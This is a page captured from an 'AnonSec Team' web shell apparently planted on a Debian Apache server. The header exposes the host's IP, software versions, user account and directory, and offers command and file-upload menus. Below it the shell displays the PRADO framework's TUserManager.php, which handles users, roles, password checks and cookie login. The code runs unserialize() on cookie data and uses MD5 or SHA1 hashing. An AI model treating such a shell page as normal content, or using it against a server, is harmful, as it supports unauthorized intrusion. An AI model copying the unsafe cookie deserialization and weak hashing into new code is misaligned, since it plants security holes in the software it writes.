AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.223
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ifk/web/prado4.3.2/Security/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ifk/web/prado4.3.2/Security/TUserManager.php
<?php
/**
 * TUserManager class
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @link https://github.com/pradosoft/prado
 * @license https://github.com/pradosoft/prado/blob/master/LICENSE
 */

namespace Prado\Security;

use Prado\Exceptions\TConfigurationException;
use Prado\Exceptions\TInvalidOperationException;
use Prado\Prado;
use Prado\TApplication;
use Prado\TPropertyValue;
use Prado\Xml\TXmlDocument;

/**
 * TUserManager class
 *
 * TUserManager manages a static list of users {@link TUser}.
 * The user information is specified via module configuration using the following XML syntax,
 * <code>
 * <module id="users" class="Prado\Security\TUserManager" PasswordMode="Clear">
 *   <user name="Joe" password="demo" />
 *   <user name="John" password="demo" />
 *   <user name="Jerry" password="demo" roles="Writer,Administrator" />
 *   <role name="Administrator" users="John" />
 *   <role name="Writer" users="Joe,John" />
 * </module>
 * </code>
 *
 * PHP configuration style:
 * <code>
 * array(
 *   'users' => array(
 *      'class' => 'Prado\Security\TUserManager',
 *      'properties' => array(
 *         'PasswordMode' => 'Clear',
 *       ),
 *       'users' => array(
 *          array('name'=>'Joe','password'=>'demo'),
 *          array('name'=>'John','password'=>'demo'),
 *          array('name'=>'Jerry','password'=>'demo','roles'=>'Administrator,Writer'),
 *       ),
 *       'roles' => array(
 *          array('name'=>'Administrator','users'=>'John'),
 *          array('name'=>'Writer','users'=>'Joe,John'),
 *       ),
 *    ),
 * )
 * </code>
 *
 * In addition, user information can also be loaded from an external file
 * specified by {@link setUserFile UserFile} property. Note, the property
 * only accepts a file path in namespace format. The user file format is
 * similar to the above sample.
 *
 * The user passwords may be specified as clear text, SH1 or MD5 hashed by setting
 * {@link setPasswordMode PasswordMode} as <b>Clear</b>, <b>SHA1</b> or <b>MD5</b>.
 * The default name for a guest user is <b>Guest</b>. It may be changed
 * by setting {@link setGuestName GuestName} property.
 *
 * TUserManager may be used together with {@link TAuthManager} which manages
 * how users are authenticated and authorized in a Prado application.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @author Carl Mathisen <carl@kamikazemedia.no>
 * @since 3.0
 */
class TUserManager extends \Prado\TModule implements IUserManager
{
	/**
	 * @var array list of users managed by this module
	 */
	private $_users = [];
	/**
	 * @var array list of roles managed by this module
	 */
	private $_roles = [];
	/**
	 * @var string guest name
	 */
	private $_guestName = 'Guest';
	/**
	 * @var TUserManagerPasswordMode password mode
	 */
	private $_passwordMode = TUserManagerPasswordMode::MD5;
	/**
	 * @var bool whether the module has been initialized
	 */
	private $_initialized = false;
	/**
	 * @var string user/role information file
	 */
	private $_userFile;

	/**
	 * Initializes the module.
	 * This method is required by IModule and is invoked by application.
	 * It loads user/role information from the module configuration.
	 * @param mixed $config module configuration
	 */
	public function init($config)
	{
		$this->loadUserData($config);
		if ($this->_userFile !== null) {
			if ($this->getApplication()->getConfigurationType() == TApplication::CONFIG_TYPE_PHP) {
				$userFile = include $this->_userFile;
				$this->loadUserDataFromPhp($userFile);
			} else {
				$dom = new TXmlDocument();
				$dom->loadFromFile($this->_userFile);
				$this->loadUserDataFromXml($dom);
			}
		}
		$this->_initialized = true;
		parent::init($config);
	}

	/*
	 * Loads user/role information
	 * @param mixed $config the variable containing the user information
	 */
	private function loadUserData($config)
	{
		if ($this->getApplication()->getConfigurationType() == TApplication::CONFIG_TYPE_PHP) {
			$this->loadUserDataFromPhp($config);
		} else {
			$this->loadUserDataFromXml($config);
		}
	}

	/**
	 * Loads user/role information from an php array.
	 * @param array $config the array containing the user information
	 */
	private function loadUserDataFromPhp($config)
	{
		if (isset($config['users']) && is_array($config['users'])) {
			foreach ($config['users'] as $user) {
				$name = trim(strtolower($user['name'] ?? ''));
				$password = $user['password'] ?? '';
				$this->_users[$name] = $password;
				$roles = $user['roles'] ?? '';
				if ($roles !== '') {
					foreach (explode(',', $roles) as $role) {
						if (($role = trim($role)) !== '') {
							$this->_roles[$name][] = $role;
						}
					}
				}
			}
		}
		if (isset($config['roles']) && is_array($config['roles'])) {
			foreach ($config['roles'] as $role) {
				$name = $role['name'] ?? '';
				$users = $role['users'] ?? '';
				foreach (explode(',', $users) as $user) {
					if (($user = trim($user)) !== '') {
						$this->_roles[strtolower($user)][] = $name;
					}
				}
			}
		}
	}

	/**
	 * Loads user/role information from an XML node.
	 * @param \Prado\Xml\TXmlElement $xmlNode the XML node containing the user information
	 */
	private function loadUserDataFromXml($xmlNode)
	{
		foreach ($xmlNode->getElementsByTagName('user') as $node) {
			$name = trim(strtolower($node->getAttribute('name')));
			$this->_users[$name] = $node->getAttribute('password');
			if (($roles = trim($node->getAttribute('roles') ?? '')) !== '') {
				foreach (explode(',', $roles) as $role) {
					if (($role = trim($role)) !== '') {
						$this->_roles[$name][] = $role;
					}
				}
			}
		}
		foreach ($xmlNode->getElementsByTagName('role') as $node) {
			foreach (explode(',', $node->getAttribute('users')) as $user) {
				if (($user = trim($user)) !== '') {
					$this->_roles[strtolower($user)][] = $node->getAttribute('name');
				}
			}
		}
	}

	/**
	 * Returns an array of all users.
	 * Each array element represents a single user.
	 * The array key is the username in lower case, and the array value is the
	 * corresponding user password.
	 * @return array list of users
	 */
	public function getUsers()
	{
		return $this->_users;
	}

	/**
	 * Returns an array of user role information.
	 * Each array element represents the roles for a single user.
	 * The array key is the username in lower case, and the array value is
	 * the roles (represented as an array) that the user is in.
	 * @return array list of user role information
	 */
	public function getRoles()
	{
		return $this->_roles;
	}

	/**
	 * @return string the full path to the file storing user/role information
	 */
	public function getUserFile()
	{
		return $this->_userFile;
	}

	/**
	 * @param string $value user/role data file path (in namespace form). The file format is XML
	 * whose content is similar to that user/role block in application configuration.
	 * @throws TInvalidOperationException if the module is already initialized
	 * @throws TConfigurationException if the file is not in proper namespace format
	 */
	public function setUserFile($value)
	{
		if ($this->_initialized) {
			throw new TInvalidOperationException('usermanager_userfile_unchangeable');
		} elseif (($this->_userFile = Prado::getPathOfNamespace($value, $this->getApplication()->getConfigurationFileExt())) === null || !is_file($this->_userFile)) {
			throw new TConfigurationException('usermanager_userfile_invalid', $value);
		}
	}

	/**
	 * @return string guest name, defaults to 'Guest'
	 */
	public function getGuestName()
	{
		return $this->_guestName;
	}

	/**
	 * @param string $value name to be used for guest users.
	 */
	public function setGuestName($value)
	{
		$this->_guestName = $value;
	}

	/**
	 * @return TUserManagerPasswordMode how password is stored, clear text, or MD5 or SHA1 hashed. Default to TUserManagerPasswordMode::MD5.
	 */
	public function getPasswordMode()
	{
		return $this->_passwordMode;
	}

	/**
	 * @param TUserManagerPasswordMode $value how password is stored, clear text, or MD5 or SHA1 hashed.
	 */
	public function setPasswordMode($value)
	{
		$this->_passwordMode = TPropertyValue::ensureEnum($value, 'Prado\\Security\\TUserManagerPasswordMode');
	}

	/**
	 * Validates if the username and password are correct.
	 * @param string $username user name
	 * @param string $password password
	 * @return bool true if validation is successful, false otherwise.
	 */
	public function validateUser($username, $password)
	{
		if ($this->_passwordMode === TUserManagerPasswordMode::MD5) {
			$password = md5($password);
		} elseif ($this->_passwordMode === TUserManagerPasswordMode::SHA1) {
			$password = sha1($password);
		}
		$username = strtolower($username);
		return (isset($this->_users[$username]) && $this->_users[$username] === $password);
	}

	/**
	 * Returns a user instance given the user name.
	 * @param null|string $username user name, null if it is a guest.
	 * @return TUser the user instance, null if the specified username is not in the user database.
	 */
	public function getUser($username = null)
	{
		if ($username === null) {
			$user = new TUser($this);
			$user->setIsGuest(true);
			return $user;
		} else {
			$username = strtolower($username);
			if (isset($this->_users[$username])) {
				$user = new TUser($this);
				$user->setName($username);
				$user->setIsGuest(false);
				if (isset($this->_roles[$username])) {
					$user->setRoles($this->_roles[$username]);
				}
				return $user;
			} else {
				return null;
			}
		}
	}

	/**
	 * Returns a user instance according to auth data stored in a cookie.
	 * @param \Prado\Web\THttpCookie $cookie the cookie storing user authentication information
	 * @return TUser the user instance generated based on the cookie auth data, null if the cookie does not have valid auth data.
	 * @since 3.1.1
	 */
	public function getUserFromCookie($cookie)
	{
		if (($data = $cookie->getValue()) !== '') {
			$data = unserialize($data);
			if (is_array($data) && count($data) === 2) {
				[$username, $token] = $data;
				if (isset($this->_users[$username]) && $token === md5($username . $this->_users[$username])) {
					return $this->getUser($username);
				}
			}
		}
		return null;
	}

	/**
	 * Saves user auth data into a cookie.
	 * @param \Prado\Web\THttpCookie $cookie the cookie to receive the user auth data.
	 * @since 3.1.1
	 */
	public function saveUserToCookie($cookie)
	{
		$user = $this->getApplication()->getUser();
		$username = strtolower($user->getName());
		if (isset($this->_users[$username])) {
			$data = [$username, md5($username . $this->_users[$username])];
			$cookie->setValue(serialize($data));
		}
	}
}

AnonSec - 2021